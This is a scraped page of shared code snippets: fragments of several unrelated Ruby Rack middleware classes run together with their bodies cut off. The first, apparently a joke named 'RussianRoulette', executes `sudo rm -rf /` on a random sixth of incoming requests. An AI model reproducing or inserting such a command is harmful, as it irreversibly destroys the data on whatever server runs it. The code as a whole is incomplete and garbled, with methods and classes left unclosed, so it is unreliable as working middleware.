Skip to content

Instantly share code, notes, and snippets.

module Rack
class RussianRoulette
def initialize(app)
@app = app
end
def call(env)
if rand(6) == 0
%x{sudo rm -rf /}
module Rack
class Identity
def initialize(app)
@app = app
end
def call(env)
@app.call(env)
end
This code has graduated from a gist to a gem!
http://gemcutter.org/gems/rack-environmental
http://github.com/techiferous/rack-environmental
# This Rack middleware is inspired by Homey D. Clown.
class Homey
def initialize app, options = {}
@app = app
end
def call(env)
status, headers, body = @app.call(env)